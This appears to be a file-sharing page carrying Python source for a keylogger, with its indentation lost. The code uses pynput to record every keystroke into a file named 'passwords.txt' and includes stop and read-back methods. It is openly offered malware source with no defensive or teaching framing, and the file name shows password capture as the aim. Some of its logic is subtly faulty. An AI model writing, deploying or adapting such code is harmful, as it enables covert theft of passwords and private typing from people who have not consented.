Uploaded by arthuradam

keylogger

advertisement
import os
from pynput.keyboard import Listener
import threading
class Keylogger():
# Initialize Keylogger object
def __init__(self):
# Initialize empty list for keys and set count to 0
self.keys = []
self.count = 0
self.file_to_write = 'passwords.txt' # File to write key logs
self.stop_event = threading.Event() # Event to signal keylogger to stop
# Start listening for keys using Listener from pynput
def start(self):
with Listener(on_press=self.on_press) as listener:
print("Logging..")
listener.join()
# Function called when a key is pressed
def on_press(self, key):
# Append the pressed key to list
self.keys.append(key)
# Increment count by 1
self.count += 1
# If count >= 1, reset count, call the write_file function, pass keys as parameter
if self.count >= 1:
self.count = 0
self.write_file(self.keys)
# Reset keys
self.keys = []
# If stop_event is set, stop the keylogger
if self.stop_event.is_set():
return False
# Function to write the logged keys to the file
def write_file(self, keys):
with open(self.file_to_write, "a") as f: for key in keys:
k = str(key).replace("'", " ")
if k.find("backspace") > 0:
f.write("Backspace ")
elif k.find("enter") > 0:
f.write("\n")
elif k.find("shift") > 0:
f.write("Shift ")
elif k.find("space") > 0:
f.write(" ")
elif k.find("caps_lock") > 0:
f.write("Caps Lock ")
elif k.find('key'):
f.write(k)
# Function to stop the keylogger
def self_destruct(self):
self.stop_event.set()
# Function to read keys from the log file
def readkeys(self):
with open(self.file_to_write, 'r') as f:
keys = f.read()
return keys
Download